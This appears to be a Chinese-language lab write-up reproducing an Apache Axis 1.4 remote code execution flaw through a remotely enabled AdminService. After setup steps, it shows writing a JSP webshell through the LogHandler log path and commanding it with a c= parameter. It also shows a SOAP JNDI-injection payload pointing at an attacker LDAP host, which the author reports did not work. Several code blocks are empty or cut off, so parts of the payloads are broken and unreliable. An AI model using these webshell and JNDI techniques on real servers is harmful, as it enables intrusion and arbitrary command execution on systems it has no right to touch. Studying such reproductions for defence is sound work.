# Apache Axis 远程代码执行漏洞

## 漏洞描述

Apache Axis 服务被用于部署各种接口服务。其中，AdminService 接口允许管理员远程访问管理服务，相关配置在 `/axis/WEB-INF/server-config.wsdd`(部署应用后产生)，其中`enableRemoteAdmin`默认为`false`，只允许本地管理。

若将`enableRemoteAdmin`设置为`true`，则可以执行 JNDI 注入，执行任意代码或反弹 Shell。 

## 环境搭建

下载 [axis bin](http://mirror.navercorp.com/apache/axis/axis/java/1.4/axis-bin-1_4.tar.gz) 解压，将 webapps 下 axis 文件夹复制到 tomcat 环境下 webapps 目录下。

修改环境变量：

```
vim ~/.profile
```

```
export AXIS_HOME=/usr/tomcat/apache-tomcat-8.5.90/webapps/axis
export AXIS_LIB=$AXIS_HOME/WEB-INF/lib
export AXISCLASSPATH=$AXIS_LIB/axis.jar:$AXIS_LIB/commons-discovery-0.2.jar:$AXIS_LIB/commons-logging-1.0.4.jar:$AXIS_LIB/jaxrpc.jar:$AXIS_LIB/saaj.jar:$AXIS_LIB/log4j-1.2.8.jar:$AXIS_LIB/xml-apis.jar:$AXIS_LIB/xercesImpl.jar:$AXIS_LIB/wsdl4j-1.5.1.jar
```

刷新环境变量：

```
source ~/.profile
```

开启RemoteAdmin服务：

```
vim webapps/axis/WEB-INF/deploy.wsdd
```

```
<deployment xmlns="http://xml.apache.org/axis/wsdd/"
    xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
  <service name="AdminService" provider="java:MSG">
    <parameter name="className" value="org.apache.axis.utils.Admin"/>
    <parameter name="allowedMethods" value="*"/>
    <parameter name="enableRemoteAdmin" value="true"/>
  </service>
</deployment>
```

刷新配置：

```
java -cp $AXISCLASSPATH org.apache.axis.client.AdminClient deploy.wsdd
```

## 漏洞复现

### RandomService 报错getshell

注册服务，指定日志目录为shell路径：

```
<parameter name="LogHandler.fileName" value="../webapps/axis/shell.jsp" />  
```

```

请求RandomService，利用报错将错误日志写入到shell文件：

```

![image-20230630164243555](images/image-20230630164243555.png)

shell 地址：

```
view-source:http://your-ip:8080/axis/shell.jsp?c=pwd
```

![image-20230630164400748](images/image-20230630164400748.png)

这里的 shell 写入路径 LogHandler.fileName 为 `../webapps/axis/shell.jsp`，实际遇到的目标启动路径可能不同，需要根据实际对写入的路径做相应的变动。

访问创建的testService进行jndi注入：

```

      <environment xmlns:apachesoap="http://xml.apache.org/xml-soap" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xsi:type="apachesoap:Map">

          <key xsi:type="soapenc:string">jndiName</key>
          <value xsi:type="soapenc:string">ldap://your-ip:1389/dlmaty</value>
        </item>
      </environment>
    </buil:getService>
  </soapenv:Body>
</soapenv:Envelope>
```

这里 JNDI 注入**不成功**，报错 `java.lang.ClassCastException: javax.naming.Reference cannot be cast to org.apache.axis.client.Service`。

可能是复现的环境采用需要1.8.0_102之前的环境。（待测）
